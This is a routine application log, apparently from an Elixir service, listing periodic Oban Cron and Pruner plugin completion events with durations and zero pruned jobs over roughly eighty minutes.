{"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:28:18.178 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:48.181 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.374 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:29:18.183 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:48.185 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.375 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:30:18.187 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:48.189 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.376 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:31:18.191 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:48.193 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.377 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:32:18.195 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:48.197 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.378 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:33:18.199 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:48.201 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.379 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:34:18.203 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:48.205 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.380 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:35:18.207 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:48.209 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.381 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:36:18.211 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:48.213 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.382 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:37:18.215 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:48.217 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.383 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:38:18.219 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:48.221 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.384 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:39:18.223 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:48.225 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.385 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:40:18.227 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:48.229 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.386 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:41:18.230 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:48.233 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.387 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:42:18.235 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:48.237 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.388 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:43:18.239 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:48.241 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.389 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:44:18.243 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:48.245 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.390 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:45:18.247 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:48.249 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.391 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:46:18.251 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:48.253 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.392 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:47:18.255 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:48.257 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.393 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:48:18.259 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:48.261 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.394 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:49:18.263 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:48.265 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.395 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:50:18.267 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:48.269 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.396 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:51:18.271 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:48.273 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.397 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:52:18.275 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:48.277 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.398 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:53:18.279 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:48.281 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.399 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:54:18.283 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:48.285 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.400 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:55:18.287 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:48.289 [info] {"source":"oban","duration":1623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.401 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:56:18.291 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:48.293 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.403 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:57:18.295 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:48.297 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.404 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:58:18.299 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:48.301 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.405 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:59:18.303 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:48.305 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.406 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:00:18.307 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:48.309 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.407 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:01:18.311 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:48.313 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.408 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:02:18.314 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:48.317 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.409 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:03:18.319 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:48.321 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.410 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:04:18.323 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:48.325 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.411 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:05:18.327 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:48.329 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.412 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:06:18.331 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:48.333 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.413 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:07:18.335 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:48.337 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.414 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:08:18.339 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:48.341 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.415 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:09:18.343 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:48.345 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.416 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:10:18.347 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:48.349 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.417 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:11:18.351 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:48.353 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.418 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:12:18.355 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:48.357 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.419 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:13:18.359 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:48.361 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.420 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:14:18.363 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:48.365 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.421 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:15:18.367 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:48.369 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.422 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:16:18.371 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:48.373 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.423 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:17:18.375 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:48.377 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.424 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:18:18.379 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:48.380 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.425 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:19:18.382 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:48.384 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.426 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:20:18.386 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:48.388 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.427 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:21:18.390 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:48.392 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.428 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:22:18.394 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:48.396 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.429 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:23:18.398 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:48.400 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.430 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:24:18.402 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:48.404 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.431 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:25:18.406 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:48.408 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.432 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:26:18.410 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:48.412 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.433 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:27:18.414 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:48.416 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.434 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:28:18.418 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:48.420 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.435 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:29:18.422 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:48.424 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.436 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:30:18.426 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:48.428 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.437 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:31:18.430 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:48.432 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.438 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:32:18.434 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:48.436 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.439 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:33:18.438 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:48.440 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.440 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:34:18.442 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:48.444 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.441 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:35:18.446 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:48.448 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.442 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:36:18.450 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:48.452 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.443 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:37:18.454 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:48.456 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.444 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:38:18.458 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:48.460 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.445 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:39:18.462 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:48.464 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.446 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:40:18.466 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:48.468 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.447 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:41:18.470 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:48.472 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.448 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:42:18.474 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:48.476 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.449 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:43:18.478 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:48.480 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.450 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:44:18.482 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:48.483 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.451 [info] {"source":"oban","duration":210,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:45:18.486 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:48.488 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.452 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:46:18.490 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:48.492 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.453 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:47:18.494 [info] 